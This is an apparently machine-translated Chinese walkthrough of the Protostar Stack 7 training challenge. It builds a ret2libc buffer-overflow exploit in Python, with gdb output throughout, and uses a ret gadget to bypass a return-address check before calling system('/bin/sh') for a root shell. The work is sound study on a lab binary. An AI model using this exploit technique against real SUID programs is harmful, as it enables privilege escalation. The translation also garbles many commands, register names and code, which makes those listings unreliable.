Protostar Stack 7演练

我一直想提升我对二进制利用技术的理解,并开始利用Exploit Exercises(https://exploit-exercises.com/protostar/)进行Protostar挑战。 这是堆栈系列中的最后一个挑战的演练-堆栈7(https://exploit-exercises.com/protostar/stack7/)。

我们开始之前有几点注意。 我主要是为我自己写这篇文章,因此我可以回到这些注释中,并在一个地方找到所有内容,包括我使用的技术,命令等。此外,我显然没有发明这里描述的任何方法。

您将需要对CPU的工作原理,寄存器和汇编有非常基本的了解。 我以循序渐进的方式编写了本演练,并鼓励您继续学习

这是Protostar Stack 7挑战的源代码:

  #include  
#include
#include
#include char * getpath ()
{
字符缓冲区[64];
unsigned int ret; printf(“请输入路径:”); fflush(stdout);

获取(缓冲区);

ret = __builtin_return_address(0); if((ret 0xb0000000) == 0xb0000000){
printf(“ bzzzt(%p)\ n”,ret);
_exit(1);
}

printf(“缓冲区路径%s \ n”,缓冲区);
返回strdup(buffer);
} int main (int argc,char ** argv)
{
getpath();
}

可以在以下位置找到机器映像:https://exploit-exercises.com/download/。 二进制文件位于/opt/protostar/bin/stack7并且是SUID根目录。 目的是利用二进制文件获得系统上的根外壳。

从main调用getpath() ,以下是堆栈布局:

  • 通常,执行call指令时,返回地址将推入堆栈的顶部。 如果getpath()有任何参数,则它们也将放在返回地址之前的堆栈中。
  • getpath() ,函数前导会将EBP(堆栈基本指针寄存器)的值压入堆栈,然后将ESP(堆栈指针)上移至较低的内存地址,以便为函数的局部变量腾出空间bufferret

如果我们将足够的数据写入缓冲区,则可以使用我们选择的地址覆盖返回地址,并在getpath()执行ret时劫持代码执行流程。 在此挑战中,还有一个附加条件,当我们覆盖返回地址时,它不能以0xb ,否则程序将退出(从getpath返回之前)。

让我们在gdb打开文件:

  user @ protostar:/ opt / protostar / bin $ gdb ./stack7 
GNU gdb(GDB)7.0.1-Debian
版权所有(C)2009自由软件基金会,公司。
许可证GPLv3 +:GNU GPL版本3或更高版本
这是免费软件:您可以自由更改和重新分发它。
在法律允许的范围内,没有任何担保。 输入“显示复制”
和“显示保修”了解详情。
该GDB被配置为“ i486-linux-gnu”。
有关错误报告的说明,请参阅:
...
从/opt/protostar/bin/stack7...done中读取符号。
(gdb) 中断getpath
0x80484ca处的断点1:文件stack7 / stack7.c,第11行。
(gdb) 运行
启动程序:/ opt / protostar / bin / stack7断点1,在stack7 / stack7.c:getpath():11
11 stack7 / stack7.c:无此类文件或目录。
在stack7 / stack7.c中
(GDB) 信息寄存器
传真0xbffff874 -1073743756
ecx 0x1af4044a 452199498
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x80484ca 0x80484ca
eflags 0x200286 [PF SF IF ID]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) 设置反汇编intel
(gdb) disas getpath
函数getpath的汇编代码转储:
0x080484c4 :推送ebp
0x080484c5 :mov ebp,esp
0x080484c7 :子esp,0x68
0x080484ca :mov eax,0x8048620
0x080484cf :mov DWORD PTR [esp],eax
0x080484d2 :调用0x80483e4
0x080484d7 :mov eax,ds:0x8049780
0x080484dc :mov DWORD PTR [esp],eax
0x080484df :呼叫0x80483d4
0x080484e4 :lea eax,[ebp-0x4c]
0x080484e7 :mov DWORD PTR [esp],eax
0x080484ea :呼叫0x80483a4
0x080484ef :mov eax,DWORD PTR [ebp + 0x4]
0x080484f2 :mov DWORD PTR [ebp-0xc],eax
0x080484f5 :mov eax,DWORD PTR [ebp-0xc]
0x080484f8 :和eax,0xb0000000
0x080484fd :cmp eax,0xb0000000
0x08048502 :jne 0x8048524
0x08048504 :mov eax,0x8048634
0x08048509 :mov edx,DWORD PTR [ebp-0xc]
0x0804850c :mov DWORD PTR [esp + 0x4],edx
0x08048510 :mov DWORD PTR [esp],eax
0x08048513 :调用0x80483e4
0x08048518 :mov DWORD PTR [esp],0x1
0x0804851f :调用0x80483c4
0x08048524 :mov eax,0x8048640
0x08048529 :lea edx,[ebp-0x4c]
0x0804852c :mov DWORD PTR [esp + 0x4],edx
0x08048530 :mov DWORD PTR [esp],eax
0x08048533 :调用0x80483e4
0x08048538 :lea eax,[ebp-0x4c]
0x0804853b :mov DWORD PTR [esp],eax
0x0804853e :调用0x80483f4
0x08048543 :离开
0x08048544 :ret
汇编器转储结束。
(gdb) x / i $ eip
0x80484ca :mov eax,0x8048620
(gdb) x / 80x $ esp
0xbffff750:0xb7fffa54 0x00000000 0xb7fe1b28 0x00000001
0xbffff760:0x00000000 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff770:0xb7fd7ff4 0xb7ec6165 0xbffff788 0xb7eada75
0xbffff780:0xb7fd7ff4 0x0804973c 0xbffff798 0x08048380
0xbffff790:0xb7ff1040 0x0804973c 0xbffff7c8 0x08048589
0xbffff7a0:0xb7fd8304 0xb7fd7ff4 0x08048570 0xbffff7c8
0xbffff7b0:0xb7ec6365 0xb7ff1040 0xbffff7c8 0x08048550
0xbffff7c0:0x08048570 0x00000000 0xbffff848 0xb7eadc76
0xbffff7d0:0x00000001 0xbffff874 0xbffff87c 0xb7fe1848
0xbffff7e0:0xbffff830 0xffffffff 0xb7ffeff4 0x080482bc
0xbffff7f0:0x00000001 0xbffff830 0xb7ff0626 0xb7fffab0
0xbffff800:0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff810:0xbffff848 0x30a3d25a 0x1af4044a 0x00000000
0xbffff820:0x00000000 0x00000000 0x00000001 0x08048410
0xbffff830:0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff840:0x00000001 0x08048410 0x00000000 0x08048431
0xbffff850:0x08048545 0x00000001 0xbffff874 0x08048570
0xbffff860:0x08048560 0xb7ff1040 0xbffff86c 0xb7fff8f8
0xbffff870:0x00000001 0xbffff98c 0x00000000 0xbffff9a6
0xbffff880:0xbffff9b6 0xbffff9ca 0xbffff9e7 0xbffff9fa

break getpathgetpath()的开始处设置一个断点, run将在调试器中启动程序。 info registers显示CPU寄存器的状态。 我使用set disassembly-flavor intel (在视觉上更具吸引力)和disas getpath来反汇编getpath()

x命令用于显示程序存储器中的值。 x/i $eip将显示当前的CPU指令(EIP或索引指针,寄存器包含要执行的下一条指令所在的内存地址), /用作修饰符以告诉x您希望数据如何存储解释,这是一些有用的选项:

  • 我-CPU指令
  • s — C字符串(NULL终止)
  • x —十六进制整数

x/80x $esp将从堆栈顶部打印80 int (4字节)值-正斜杠后的数字表示要显示的项目数。 在getpath的开头,我们看到从ESP中减去了0x68,以便为局部变量腾出空间,因此我们可以找到保存的EBP和返回地址的位置-在上面的清单中以粗体突出显示。

当我们继续分析程序的工作方式时,将寄存器,当前指令和堆栈始终显示在屏幕上将很有用。 我通常会安装PEDA(适用于GDB的Python漏洞利用开发协助工具),该工具将为我完成此工作,但无法在这里使用它,因此,我们将GDB配置为在每次遇到断点时执行上述命令:

  (gdb) 定义挂钩停止 
重新定义命令“挂机停止”? (y或n) y
输入用于定义“挂机停止”的命令。
结束时说“结束”。
> 信息寄存器
> x / 3i $ eip
> x / 80x $ esp
> 结束

让我们在对gets的调用之后立即设置一个断点,使用c继续执行程序( continue缩写),在询问时输入一长串字符,然后检查堆栈:

  (gdb) 中断* 0x080484ef 
断点2位于0x80484ef:文件stack7 / stack7.c,第15行。
(gdb) c
继续。
输入路径: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHIIIIIIJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
传真0xbffff76c -1073744020
ecx 0xbffff76c -1073744020
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x80484ef 0x80484ef
eflags 0x200246 [PF ZF IF ID]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x80484ef :mov eax,DWORD PTR [ebp + 0x4]
0x80484f2 :mov DWORD PTR [ebp-0xc],eax
0x80484f5 :mov eax,DWORD PTR [ebp-0xc]
0xbffff750:0xbffff76c 0x00000000 0xb7fe1b28 0x00000001
0xbffff760:0x00000000 0x00000001 0xb7fff8f8 0x41414141
0xbffff770:0x42424242 0x43434343 0x44444444 0x45454545
0xbffff780:0x46464646 0x47474747 0x48484848 0x49494949
0xbffff790:0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c 0x4d4d4d4d
0xbffff7a0:0x4e4e4e4e 0x4f4f4f4f 0x50505050 0x51515151
0xbffff7b0:0x52525252 0x53535353 0x54545454 0x55555555
0xbffff7c0:0x56565656 0x57575757 0x58585858 0x59595959
0xbffff7d0:0x5a5a5a5a 0xbffff800 0xbffff87c 0xb7fe1848
0xbffff7e0:0xbffff830 0xffffffff 0xb7ffeff4 0x080482bc
0xbffff7f0:0x00000001 0xbffff830 0xb7ff0626 0xb7fffab0
0xbffff800:0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff810:0xbffff848 0xf4b74d92 0xdee09b82 0x00000000
0xbffff820:0x00000000 0x00000000 0x00000001 0x08048410
0xbffff830:0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0xbffff840:0x00000001 0x08048410 0x00000000 0x08048431
0xbffff850:0x08048545 0x00000001 0xbffff874 0x08048570
0xbffff860:0x08048560 0xb7ff1040 0xbffff86c 0xb7fff8f8
0xbffff870:0x00000001 0xbffff98c 0x00000000 0xbffff9a6
0xbffff880:0xbffff9b6 0xbffff9ca 0xbffff9e7 0xbffff9fa断点2,getpath()在stack7 / stack7.c:15
15在stack7 / stack7.c中

返回地址将被0x55555555覆盖。 当继续执行时,我们看到程序尝试跳转到0x555555(检查下面的EIP值),这导致了分段错误( SIGSEGV ),因为它不是有效的内存地址:

  (gdb) c 
继续。
路径AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ程序收到信号SIGSEGV,分段错误。
传真0x804a008 134520840
ecx 0x0 0
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
bp 0x54545454 0x54545454
esi 0x0 0
edi 0x0 0
eip 0x55555555 0x55555555
eflags 0x210202 [IF RF ID]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x55555555:运行hook_stop时出错:
无法访问地址0x55555555的内存
0x55555555 in ?? ()

0x55是’U’的ASCII代码,漏洞利用的第一部分现在很清楚-我们将像上面一样使用长字符串,并用所需的返回地址替换’UUUU’。 这是python中的框架利用代码:

  #!/ usr / bin / pythonimport structbuffer ='' 
缓冲区+ ='AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'#垃圾
缓冲区+ ='????' #将替换为return addressprint(buffer)

我们将使用ret2libc技术进行此利用。 计划是将libc函数system的地址作为返回地址,并以传递“ / bin / sh”作为参数的方式来操纵堆栈。 C中的字符串作为指针传递,即,堆栈应包含字符串的地址。 与上面的堆栈布局图类似,这就是我们希望在getpath()到达ret命令时堆栈的外观(请注意,在上图中,EBP是通过函数的前同步码而不是在调用之前推送到堆栈的)该功能):

我们将system地址写到找到的返回地址的位置。 当执行ret命令时,堆栈指针将向下移动以指向“返回地址2”,这是system函数期望其返回地址位于的位置(我们现在将其忽略)。 之后的4个字节将是system的第一个参数,因此我们需要在其中放置字符串“ / bin / sh”的地址。 让我们找到这两个地址:

  (GDB) P系统 
$ 3 = {} 0xb7ecffb0

GDB的print命令(或简称p )可用于显示系统地址0xb7ecffb0 。 这需要在程序运行时完成。

现在让我们找到libc在内存中的加载位置:

  (gdb) 信息处理程序映射 
处理2341
cmdline ='/ opt / protostar / bin / stack7'
cwd ='/ opt / protostar / bin'
exe ='/ opt / protostar / bin / stack7'
映射的地址空间:Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 / opt / protostar / bin / stack7
0x8049000 0x804a000 0x1000 0 / opt / protostar / bin / stack7
0x804a000 0x806b000 0x21000 0 [堆]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [堆栈]

碰巧,libc中也存在“ / bin / sh”字符串。 让我们尝试使用GDB的find命令找到它:

  (gdb) 找到0xb7e97000,+ 9999999,“ / bin / sh” 
0xb7fba23f
警告:无法访问位于0xb7fd9647的目标内存,从而暂停了搜索。
找到1个图案。
(gdb) x / s 0xb7fba23f
0xb7fba23f:“以__gen_tempname \命名”

WTF?!?! GDB说它在地址0xb7fba23f找到了模式,但是当我们试图显示它时,它与“ / bin / sh”不一样! 哦,好了,我们将使用strings命令来检查GDB之外的libc文件:

  user @ protostar:/ opt / protostar / bin $ 字符串-a -tx /lib/libc-2.11.2.so |  grep / bin / sh 
11f3bf / bin / sh

-a告诉字符串扫描整个文件, -tx使其以十六进制显示偏移量。 因此,我们在libc中的偏移量0x11f3bf中有“ / bin / sh”,并且libc加载在0xb7e97000 (请参见上文)上,这意味着字符串在内存中的地址为0xb7fb63bf 。 让我们检查一下GDB:

  (gdb) x / s 0xb7fb63bf 
0xb7fb63bf:“ / bin / sh”

好极了!!!

这是更新的漏洞利用:

  #!/ usr / bin / pythonimport structbuffer ='' 
缓冲区+ ='AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'#垃圾
缓冲区+ = struct.pack('I',0xb7ecffb0)#系统
缓冲区+ ='AAAA'#垃圾(上图中返回地址2)
缓冲区+ = struct.pack('I',0xb7fb63bf)#“ / bin / sh” print(缓冲区)

这里还有另外一件事要解释。 在32位系统上,内存地址为4个字节长。 当在内存中存储4个字节时,可以通过先存储最低有效字节或先存储最高有效字节来完成-请参阅https://en.wikipedia.org/wiki/Endianness。 英特尔x86平台是低位字节序的,这意味着最低有效字节将首先存储。 这在将地址编码为字符串时起作用。 系统地址0xb7ecffb0应该在字符串中编码如下: "\xb0\xff\xec\xb7" 。 我们可以手动完成,也可以使用python的struct模块,如上所示。 第一个参数'I'告诉struct将值“打包”为无符号int(4个字节)。

该程序从标准输入读取缓冲区,因此要执行此漏洞利用,我们需要运行:

  user @ protostar:/ opt / protostar / bin $ python〜/ stack7.py |  ./stack7 

但是我们还没有完成-由于system地址以0xb开头, 0xb我们还没有满足返回地址的限制。

让我们看看执行ret CPU命令时会发生什么。 处理器会将堆栈顶部的地址移到EIP中,并将ESP递增(堆栈向较低的地址方向扩展)ESP4。现在,如果堆栈顶部的地址指向另一个ret指令,则在执行这些指令时步骤再次发生,执行将在堆栈上的下一个地址处继续。 这听起来有些复杂,但是从本质上讲,如果我们使用ret指令的地址作为返回地址,则执行将跳转到堆栈中的下一个地址。

因此,我们规避返回地址检查的计划是修改漏洞利用程序,将ret指令的地址放置为system地址之前的返回地址。 我们将在getpath()的末尾使用ret指令,该指令位于上述反汇编转储的0x08048544处。 这就是我们要放在堆栈中的内容:

这是最终的利用:

  #!/ usr / bin / pythonimport structbuffer ='' 
缓冲区+ ='AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT'#垃圾
缓冲区+ = struct.pack('I', 0x08048544)#ret在getpath()中的地址
缓冲区+ = struct.pack('I',0xb7ecffb0)#系统
缓冲区+ ='AAAA'#垃圾(上图中返回地址3)
缓冲区+ = struct.pack('I',0xb7fb63bf)#“ / bin / sh” print(缓冲区)

现在我们准备运行漏洞利用程序:

  user @ protostar:/ opt / protostar / bin $ python /home/user/stack7.py |  ./stack7 
请输入路径:得到路径AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHIIIIIIJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTSTTDTD ... AAAA.c。
分段故障

发生了什么? 没用吗? 让我们在GDB中进行检查。 我不知道如何在GDB中重定向输入,因此我们将运行漏洞利用程序将输出保存到文件中并将其用作输入:

  user @ protostar:/ opt / protostar / bin $ python /home/user/stack7.py> / tmp / stack7 

现在回到GDB:

  (gdb) 删除 
删除所有断点? (y或n) y
(gdb) 中断系统
0xb7ecffb0处的断点4:文件../sysdeps/posix/system.c,行179。
(gdb) 运行</ tmp / stack7
被调试的程序已经启动。
从头开始? (y或n)y
启动程序:/ opt / protostar / bin / stack7 </ tmp / stack7
请输入路径:得到路径AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHIIIIIIJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTSTTDTD ... AAAA.c。
传真0x804a008 134520840
ecx 0x0 0
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c4 0xbffff7c4
bp 0x54545454 0x54545454
esi 0x0 0
edi 0x0 0
eip 0xb7ecffb0 0xb7ecffb0
eflags 0x200202 [IF ID]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xb7ecffb0 :子esp,0xc
0xb7ecffb3 :mov DWORD PTR [esp + 0x4],esi
0xb7ecffb7 :mov esi,DWORD PTR [esp + 0x10]
0xbffff7c4:0x41414141 0xb7fb63bf 0xb7eadc00 0x00000001
0xbffff7d4:0xbffff874 0xbffff87c 0xb7fe1848 0xbffff830
0xbffff7e4:0xffffffff 0xb7ffeff4 0x080482bc 0x00000001
0xbffff7f4:0xbffff830 0xb7ff0626 0xb7fffab0 0xb7fe1b28
0xbffff804:0xb7fd7ff4 0x00000000 0x00000000 0xbffff848
0xbffff814:0x8aadbbd6 0xa0fa6dc6 0x00000000 0x00000000
0xbffff824:0x00000000 0x00000001 0x08048410 0x00000000
0xbffff834:0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x00000001
0xbffff844:0x08048410 0x00000000 0x08048431 0x08048545
0xbffff854:0x00000001 0xbffff874 0x08048570 0x08048560
0xbffff864:0xb7ff1040 0xbffff86c 0xb7fff8f8 0x00000001
0xbffff874:0xbffff98c 0x00000000 0xbffff9a6 0xbffff9b6
0xbffff884:0xbffff9ca 0xbffff9e7 0xbffff9fa 0xbffffa04
0xbffff894:0xbffffef4 0xbfffff00 0xbfffff3e 0xbfffff52
0xbffff8a4:0xbfffff61 0xbfffff78 0xbfffff89 0xbfffff92
0xbffff8b4:0xbfffffa2 0xbfffffaa 0xbfffffb7 0x00000000
0xbffff8c4:0x00000020 0xb7fe2414 0x00000021 0xb7fe2000
0xbffff8d4:0x00000010 0x078bfbff 0x00000006 0x00001000
0xbffff8e4:0x00000011 0x00000064 0x00000003 0x08048034
0xbffff8f4:0x00000004 0x00000020 0x00000005 0x00000007断点4,__libc_system(line = 0xb7fb63bf“ / bin / sh”)位于../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c:无此类文件或目录。
在../sysdeps/posix/system.c中

我们使用delete删除了所有先前的断点,在libc的system函数中添加了断点,并使用/tmp/stack7文件作为输入再次启动了程序。 断点起作用了,我们最终进入了system

那么该漏洞利用有效吗? 实际上,它确实可以,但是当执行/ bin / sh时,输入流关闭了(利用我们所有脚本输出!),因此它立即退出。 因此,为了使其正常工作,我们将使用cat:

  user @ protostar:/ opt / protostar / bin $ (python /home/user/stack7.py; cat)|  ./stack7 
请输入路径:得到路径AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHIIIIIIJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTSTTDTD ... AAAA.c。
ID
uid = 1001(用户)gid = 1001(用户)euid = 0(根)组= 0(根),1001(用户)
密码
/ opt / protostar / bin

没有参数的cat将它的标准输入重定向到它的标准输出,因此,在执行利用之后,我们可以输入命令-我们有了shellz!

但是,当我们在没有使用cat情况下运行漏洞时,我们先前已经看到过分段错误呢? 还记得最后一张概述堆栈的图片上的“返回地址3”吗? 我在那儿用过“ AAAA”,说没关系。 这是系统的返回地址。 分段错误并不重要,因为它会在shell死后发生,但是如果您想使漏洞利用程序“干净”,则可以将exit地址放在那里。

做Protostar与开发现代系统不同。 这些挑战是在较旧的32位系统上编译的,并且缺少当今常见的漏洞利用缓解技术,例如:

  • 不可执行堆栈(NX)未启用
  • 没有堆栈金丝雀
  • 系统禁用了ASLR(地址空间随机化)

LiveOverflow Binary Hacking课程— https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN